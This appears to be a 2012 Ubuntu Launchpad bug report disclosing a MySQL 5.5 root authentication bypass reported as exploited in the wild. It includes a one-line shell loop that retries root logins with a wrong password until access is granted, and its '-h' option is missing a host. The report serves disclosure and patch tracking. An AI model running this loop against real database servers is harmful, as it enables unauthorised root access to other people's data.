local mysql root access - exploit in the wild

Bug #1011462 reported by Ante Karamatić on 2012-06-11
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mysql-5.5 (Ubuntu)

Bug Description

MySQL bug that can be exploited by a simple:

for i in `seq 1 1000`; do mysql -u root --password=bad -h 2>/dev/null; done

Reproduced on Ubuntu 12.04 64bit.

more info at: http://seclists.org/oss-sec/2012/q2/493

Ante Karamatić (ivoks) on 2012-06-11
description: updated
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